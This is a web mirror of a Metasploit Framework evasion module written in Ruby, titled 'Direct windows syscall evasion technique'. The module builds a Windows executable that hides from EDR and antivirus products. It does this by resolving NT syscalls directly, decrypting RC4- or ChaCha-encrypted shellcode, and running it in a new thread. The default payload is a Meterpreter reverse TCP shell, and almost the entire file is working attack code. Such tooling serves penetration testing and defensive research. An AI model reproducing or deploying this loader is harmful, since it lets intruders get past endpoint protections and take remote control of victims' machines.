CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/evasion/windows/syscall_inject.rb
Views: 11779
1
require 'metasploit/framework/compiler/mingw'
2
require 'metasploit/framework/compiler/windows'
3
class MetasploitModule < Msf::Evasion
4
RC4 = File.join(Msf::Config.data_directory, 'headers', 'windows', 'rc4.h')
5
BASE64 = File.join(Msf::Config.data_directory, 'headers', 'windows', 'base64.h')
6
def initialize(info = {})
7
super(
8
merge_info(
9
info,
10
'Name' => 'Direct windows syscall evasion technique',
11
'Description' => %q{
12
This module allows you to generate a Windows EXE that evades Host-based security products
13
such as EDR/AVs. It uses direct windows syscalls to achieve stealthiness, and avoid EDR hooking.
14
15
please try to use payloads that use a more secure transfer channel such as HTTPS or RC4
16
in order to avoid payload's network traffic getting caught by network defense mechanisms.
17
NOTE: for better evasion ratio, use high SLEEP values
18
},
19
'Author' => [ 'Yaz (kensh1ro)' ],
20
'License' => MSF_LICENSE,
21
'Platform' => 'windows',
22
'Arch' => ARCH_X64,
23
'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X64 ],
24
'DefaultOptions' => {
25
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
26
},
27
'Targets' => [['Microsoft Windows (x64)', {}]]
28
)
29
)
30
register_options(
31
[
32
OptEnum.new('CIPHER', [ true, 'Shellcode encryption type', 'chacha', ['chacha', 'rc4']]),
33
OptInt.new('SLEEP', [false, 'Sleep time in milliseconds before executing shellcode', 20000]),
34
]
35
)
36
37
register_advanced_options(
38
[
39
OptEnum.new('OptLevel', [ false, 'The optimization level to compile with', 'Os', Metasploit::Framework::Compiler::Mingw::OPTIMIZATION_FLAGS ]),
40
]
41
)
42
end
43
44
def calc_hash(name)
45
hash = @hash
46
ror8 = ->(v) { ((v >> 8) & 0xffffffff) | ((v << 24) & 0xffffffff) }
47
name.sub!('Nt', 'Zw')
48
name << "\x00"
49
for x in (0..name.length - 2).map { |i| name[i..i + 1] if name[i..i + 1].length == 2 }
50
p_name = x.unpack('S')[0]
51
hash ^= p_name + ror8.call(hash)
52
end
53
hash.to_s(16)
54
end
55
56
def nt_alloc
57
%^
58
__asm__("NtAllocateVirtualMemory: \\n\\
59
mov [rsp +8], rcx \\n\\
60
mov [rsp+16], rdx\\n\\
61
mov [rsp+24], r8\\n\\
62
mov [rsp+32], r9\\n\\
63
sub rsp, 0x28\\n\\
64
mov ecx, 0x#{calc_hash 'NtAllocateVirtualMemory'} \\n\\
65
call GetSyscallNumber \\n\\
66
add rsp, 0x28 \\n\\
67
mov rcx, [rsp +8] \\n\\
68
mov rdx, [rsp+16] \\n\\
69
mov r8, [rsp+24] \\n\\
70
mov r9, [rsp+32] \\n\\
71
mov r10, rcx \\n\\
72
syscall \\n\\
73
ret \\n\\
74
");
75
^
76
end
77
78
def nt_close
79
%^
80
__asm__("NtClose: \\n\\
81
mov [rsp +8], rcx \\n\\
82
mov [rsp+16], rdx \\n\\
83
mov [rsp+24], r8 \\n\\
84
mov [rsp+32], r9 \\n\\
85
sub rsp, 0x28 \\n\\
86
mov ecx, 0x#{calc_hash 'NtClose'} \\n\\
87
call GetSyscallNumber \\n\\
88
add rsp, 0x28 \\n\\
89
mov rcx, [rsp +8] \\n\\
90
mov rdx, [rsp+16] \\n\\
91
mov r8, [rsp+24] \\n\\
92
mov r9, [rsp+32] \\n\\
93
mov r10, rcx \\n\\
94
syscall \\n\\
95
ret \\n\\
96
");
97
^
98
end
99
100
def nt_create_thread
101
%^
102
__asm__("NtCreateThreadEx: \\n\\
103
mov [rsp +8], rcx \\n\\
104
mov [rsp+16], rdx\\n\\
105
mov [rsp+24], r8\\n\\
106
mov [rsp+32], r9\\n\\
107
sub rsp, 0x28\\n\\
108
mov ecx, 0x#{calc_hash 'NtCreateThreadEx'} \\n\\
109
call GetSyscallNumber \\n\\
110
add rsp, 0x28\\n\\
111
mov rcx, [rsp +8] \\n\\
112
mov rdx, [rsp+16]\\n\\
113
mov r8, [rsp+24]\\n\\
114
mov r9, [rsp+32]\\n\\
115
mov r10, rcx\\n\\
116
syscall \\n\\
117
ret \\n\\
118
");
119
^
120
end
121
122
def nt_open_process
123
%^
124
__asm__("NtOpenProcess: \\n\\
125
mov [rsp +8], rcx \\n\\
126
mov [rsp+16], rdx \\n\\
127
mov [rsp+24], r8 \\n\\
128
mov [rsp+32], r9 \\n\\
129
sub rsp, 0x28 \\n\\
130
mov ecx, 0x#{calc_hash 'NtOpenProcess'} \\n\\
131
call GetSyscallNumber \\n\\
132
add rsp, 0x28 \\n\\
133
mov rcx, [rsp +8] \\n\\
134
mov rdx, [rsp+16] \\n\\
135
mov r8, [rsp+24] \\n\\
136
mov r9, [rsp+32] \\n\\
137
mov r10, rcx \\n\\
138
syscall \\n\\
139
ret \\n\\
140
");
141
^
142
end
143
144
def nt_protect
145
%^
146
__asm__("NtProtectVirtualMemory: \\n\\
147
push rcx \\n\\
148
push rdx \\n\\
149
push r8 \\n\\
150
push r9 \\n\\
151
mov ecx, 0x#{calc_hash 'NtProtectVirtualMemory'} \\n\\
152
call GetSyscallNumber \\n\\
153
pop r9 \\n\\
154
pop r8 \\n\\
155
pop rdx \\n\\
156
pop rcx \\n\\
157
mov r10, rcx \\n\\
158
syscall \\n\\
159
ret \\n\\
160
");
161
^
162
end
163
164
def nt_write
165
%^
166
__asm__("NtWriteVirtualMemory: \\n\\
167
mov [rsp +8], rcx \\n\\
168
mov [rsp+16], rdx \\n\\
169
mov [rsp+24], r8 \\n\\
170
mov [rsp+32], r9 \\n\\
171
sub rsp, 0x28 \\n\\
172
mov ecx, 0x#{calc_hash 'NtWriteVirtualMemory'} \\n\\
173
call GetSyscallNumber \\n\\
174
add rsp, 0x28 \\n\\
175
mov rcx, [rsp +8] \\n\\
176
mov rdx, [rsp+16] \\n\\
177
mov r8, [rsp+24] \\n\\
178
mov r9, [rsp+32] \\n\\
179
mov r10, rcx \\n\\
180
syscall \\n\\
181
ret \\n\\
182
");
183
^
184
end
185
186
def headers
187
@headers = "#include <windows.h>\n"
188
@headers << "#include \"#{BASE64}\"\n"
189
@headers << "#include \"#{RC4}\"\n" if datastore['CIPHER'] == 'rc4'
190
@headers << "#include \"chacha.h\"\n" if datastore['CIPHER'] == 'chacha'
191
@headers
192
end
193
194
def defines
195
%^
196
#define _SEED 0x#{@hash.to_s(16)}
197
#define _ROR8(v) (v >> 8 | v << 24)
198
#define MAX_SYSCALLS 500
199
#define _RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
200
201
202
typedef struct _SYSCALL_ENTRY
203
{
204
DWORD Hash;
205
DWORD Address;
206
} SYSCALL_ENTRY, *P_SYSCALL_ENTRY;
207
208
typedef struct _SYSCALL_LIST
209
{
210
DWORD Count;
211
SYSCALL_ENTRY Entries[MAX_SYSCALLS];
212
} SYSCALL_LIST, *P_SYSCALL_LIST;
213
214
typedef struct _PEB_LDR_DATA {
215
BYTE Reserved1[8];
216
PVOID Reserved2[3];
217
LIST_ENTRY InMemoryOrderModuleList;
218
} PEB_LDR_DATA, *P_PEB_LDR_DATA;
219
220
typedef struct _LDR_DATA_TABLE_ENTRY {
221
PVOID Reserved1[2];
222
LIST_ENTRY InMemoryOrderLinks;
223
PVOID Reserved2[2];
224
PVOID DllBase;
225
} LDR_DATA_TABLE_ENTRY, *P_LDR_DATA_TABLE_ENTRY;
226
227
typedef struct _PEB {
228
BYTE Reserved1[2];
229
BYTE BeingDebugged;
230
BYTE Reserved2[1];
231
PVOID Reserved3[2];
232
P_PEB_LDR_DATA Ldr;
233
} PEB, *P_PEB;
234
235
typedef struct _PS_ATTRIBUTE
236
{
237
ULONG Attribute;
238
SIZE_T Size;
239
union
240
{
241
ULONG Value;
242
PVOID ValuePtr;
243
} u1;
244
PSIZE_T ReturnLength;
245
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
246
247
typedef struct _UNICODE_STRING
248
{
249
USHORT Length;
250
USHORT MaximumLength;
251
PWSTR Buffer;
252
} UNICODE_STRING, *PUNICODE_STRING;
253
254
typedef struct _OBJECT_ATTRIBUTES
255
{
256
ULONG Length;
257
HANDLE RootDirectory;
258
PUNICODE_STRING ObjectName;
259
ULONG Attributes;
260
PVOID SecurityDescriptor;
261
PVOID SecurityQualityOfService;
262
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
263
264
typedef struct _CLIENT_ID
265
{
266
HANDLE UniqueProcess;
267
HANDLE UniqueThread;
268
} CLIENT_ID, *PCLIENT_ID;
269
270
typedef struct _PS_ATTRIBUTE_LIST
271
{
272
SIZE_T TotalLength;
273
PS_ATTRIBUTE Attributes[1];
274
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
275
276
EXTERN_C NTSTATUS NtAllocateVirtualMemory(
277
IN HANDLE ProcessHandle,
278
IN OUT PVOID * BaseAddress,
279
IN ULONG ZeroBits,
280
IN OUT PSIZE_T RegionSize,
281
IN ULONG AllocationType,
282
IN ULONG Protect);
283
284
EXTERN_C NTSTATUS NtProtectVirtualMemory(
285
IN HANDLE ProcessHandle,
286
IN OUT PVOID * BaseAddress,
287
IN OUT PSIZE_T RegionSize,
288
IN ULONG NewProtect,
289
OUT PULONG OldProtect);
290
291
EXTERN_C NTSTATUS NtCreateThreadEx(
292
OUT PHANDLE ThreadHandle,
293
IN ACCESS_MASK DesiredAccess,
294
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
295
IN HANDLE ProcessHandle,
296
IN PVOID StartRoutine,
297
IN PVOID Argument OPTIONAL,
298
IN ULONG CreateFlags,
299
IN SIZE_T ZeroBits,
300
IN SIZE_T StackSize,
301
IN SIZE_T MaximumStackSize,
302
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
303
304
EXTERN_C NTSTATUS NtWriteVirtualMemory(
305
IN HANDLE ProcessHandle,
306
IN PVOID BaseAddress,
307
IN PVOID Buffer,
308
IN SIZE_T NumberOfBytesToWrite,
309
OUT PSIZE_T NumberOfBytesWritten OPTIONAL);
310
311
EXTERN_C NTSTATUS NtOpenProcess(
312
OUT PHANDLE ProcessHandle,
313
IN ACCESS_MASK DesiredAccess,
314
IN POBJECT_ATTRIBUTES ObjectAttributes,
315
IN PCLIENT_ID ClientId OPTIONAL);
316
317
EXTERN_C NTSTATUS NtClose(
318
IN HANDLE Handle);
319
^
320
end
321
322
def syscall_parser
323
%@
324
SYSCALL_LIST _SyscallList;
325
326
DWORD HashSyscall(PCSTR FunctionName)
327
{
328
DWORD i = 0;
329
DWORD Hash = _SEED;
330
331
while (FunctionName[i])
332
{
333
WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++);
334
Hash ^= PartialName + _ROR8(Hash);
335
}
336
337
return Hash;
338
}
339
340
BOOL PopulateSyscallList()
341
{
342
// Return early if the list is already populated.
343
if (_SyscallList.Count) return TRUE;
344
345
P_PEB Peb = (P_PEB)__readgsqword(0x60);
346
P_PEB_LDR_DATA Ldr = Peb->Ldr;
347
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
348
PVOID DllBase = NULL;
349
350
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
351
// in the list, so it's safer to loop through the full list and find it.
352
P_LDR_DATA_TABLE_ENTRY LdrEntry;
353
for (LdrEntry = (P_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (P_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
354
{
355
DllBase = LdrEntry->DllBase;
356
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
357
PIMAGE_NT_HEADERS NtHeaders = _RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
358
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
359
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
360
if (VirtualAddress == 0) continue;
361
362
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
363
364
// If this is NTDLL.dll, exit loop.
365
PCHAR DllName = _RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
366
367
if ((*(ULONG*)DllName) != 'ldtn') continue;
368
if ((*(ULONG*)(DllName + 4)) == 'ld.l') break;
369
}
370
371
if (!ExportDirectory) return FALSE;
372
373
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
374
PDWORD Functions = _RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
375
PDWORD Names = _RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
376
PWORD Ordinals = _RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
377
378
// Populate _SyscallList with unsorted Zw* entries.
379
DWORD i = 0;
380
P_SYSCALL_ENTRY Entries = _SyscallList.Entries;
381
do
382
{
383
PCHAR FunctionName = _RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
384
385
// Is this a system call?
386
if (*(USHORT*)FunctionName == 'wZ')
387
{
388
Entries[i].Hash = HashSyscall(FunctionName);
389
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
390
391
i++;
392
if (i == MAX_SYSCALLS) break;
393
}
394
} while (--NumberOfNames);
395
396
// Save total number of system calls found.
397
_SyscallList.Count = i;
398
399
// Sort the list by address in ascending order.
400
for (DWORD i = 0; i < _SyscallList.Count - 1; i++)
401
{
402
for (DWORD j = 0; j < _SyscallList.Count - i - 1; j++)
403
{
404
if (Entries[j].Address > Entries[j + 1].Address)
405
{
406
// Swap entries.
407
SYSCALL_ENTRY TempEntry;
408
409
TempEntry.Hash = Entries[j].Hash;
410
TempEntry.Address = Entries[j].Address;
411
412
Entries[j].Hash = Entries[j + 1].Hash;
413
Entries[j].Address = Entries[j + 1].Address;
414
415
Entries[j + 1].Hash = TempEntry.Hash;
416
Entries[j + 1].Address = TempEntry.Address;
417
}
418
}
419
}
420
421
return TRUE;
422
}
423
424
extern DWORD GetSyscallNumber(DWORD FunctionHash)
425
{
426
if (!PopulateSyscallList()) return -1;
427
for (DWORD i = 0; i < _SyscallList.Count; i++)
428
{
429
if (FunctionHash == _SyscallList.Entries[i].Hash)
430
{
431
return i;
432
}
433
}
434
return -1;
435
}
436
@
437
end
438
439
def exec_func
440
%^
441
char* enc_shellcode = "#{get_payload}";
442
DWORD exec(void *buffer)
443
{
444
void (*function)();
445
function = (void (*)())buffer;
446
function();
447
}
448
^
449
end
450
451
def inject
452
s = "int i; for(i=0;i<10;i++){Sleep(#{datastore['SLEEP']} / 10);}"
453
@inject = %@
454
455
void inject()
456
{
457
HANDLE pHandle;
458
DWORD old = 0;
459
CLIENT_ID cID = {0};
460
OBJECT_ATTRIBUTES OA = {0};
461
int b64len = strlen(enc_shellcode);
462
PBYTE shellcode = (PBYTE)malloc(b64len);
463
SIZE_T size = base64decode(shellcode, enc_shellcode, b64len);
464
PVOID bAddress = NULL;
465
int process_id = GetCurrentProcessId();
466
cID.UniqueProcess = process_id;
467
NtOpenProcess(&pHandle, PROCESS_ALL_ACCESS, &OA, &cID);
468
NtAllocateVirtualMemory(pHandle, &bAddress, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
469
int n = 0;
470
PBYTE temp = (PBYTE)malloc(size);
471
@
472
if datastore['CIPHER'] == 'rc4'
473
@inject << %@
474
#{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'}
475
RC4(key, shellcode, temp, size);
476
NtWriteVirtualMemory(pHandle, bAddress, temp, size, NULL);
477
@
478
else
479
@inject << %@
480
#{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'}
481
#{Rex::Text.to_c iv, Rex::Text::DefaultWrap, 'iv'}
482
chacha_ctx ctx;
483
chacha_keysetup(&ctx, key, 256, 96);
484
chacha_ivsetup(&ctx, iv);
485
chacha_encrypt_bytes(&ctx, shellcode, temp, size);
486
NtWriteVirtualMemory(pHandle, bAddress, temp, size, NULL);
487
@
488
end
489
@inject << %@
490
NtProtectVirtualMemory(pHandle, &bAddress, &size, PAGE_EXECUTE, &old);
491
#{s if datastore['SLEEP'] > 0};
492
HANDLE thread = NULL;
493
NtCreateThreadEx(&thread, THREAD_ALL_ACCESS, NULL, pHandle, exec, bAddress, NULL, NULL, NULL, NULL, NULL);
494
WaitForSingleObject(thread, INFINITE);
495
NtClose(thread);
496
NtClose(pHandle);
497
}
498
@
499
end
500
501
def main
502
%^
503
int main()
504
{
505
inject();
506
}
507
^
508
end
509
510
def key
511
if datastore['CIPHER'] == 'rc4'
512
@key ||= Rex::Text.rand_text_alpha(32..64)
513
else
514
@key ||= Rex::Text.rand_text(32)
515
end
516
end
517
518
def iv
519
if datastore['CIPHER'] == 'chacha'
520
@iv ||= Rex::Text.rand_text(12)
521
end
522
end
523
524
def get_payload
525
junk = Rex::Text.rand_text(10..1024)
526
p = payload.encoded + junk
527
vprint_status("Payload size: #{p.size} = #{payload.encoded.size} + #{junk.size} (junk)")
528
if datastore['CIPHER'] == 'chacha'
529
chacha = Rex::Crypto::Chacha20.new(key, iv)
530
p = chacha.chacha20_crypt(p)
531
Rex::Text.encode_base64 p
532
else
533
opts = { format: 'rc4', key: key }
534
Msf::Simple::Buffer.transform(p, 'base64', 'shellcode', opts)
535
end
536
end
537
538
def generate_code(src, opts = {})
539
comp_obj = Metasploit::Framework::Compiler::Mingw::X64.new(opts)
540
compiler_out = comp_obj.compile_c(src)
541
unless compiler_out.empty?
542
elog(compiler_out)
543
raise Metasploit::Framework::Compiler::Mingw::UncompilablePayloadError, 'Compilation error. Check the logs for further information.'
544
end
545
comp_file = "#{opts[:f_name]}.exe"
546
raise Metasploit::Framework::Compiler::Mingw::CompiledPayloadNotFoundError unless File.exist?(comp_file)
547
548
bin = File.binread(comp_file)
549
file_create(bin)
550
comp_obj.cleanup_files
551
end
552
553
def run
554
@hash = rand 2**28..2**32 - 1
555
comp_opts = '-masm=intel -w -mwindows '
556
src = headers
557
src << defines
558
src << nt_alloc
559
src << nt_close
560
src << nt_create_thread
561
src << nt_open_process
562
src << nt_protect
563
src << nt_write
564
src << syscall_parser
565
src << exec_func
566
src << inject
567
src << main
568
# obf_src = Metasploit::Framework::Compiler::Windows.generate_random_c src
569
path = Tempfile.new('main').path
570
vprint_good "Saving temporary source file in #{path}"
571
compile_opts =
572
{
573
strip_symbols: true,
574
compile_options: comp_opts,
575
f_name: path,
576
opt_lvl: datastore['OptLevel']
577
}
578
generate_code src, compile_opts
579
end
580
581
end
582
583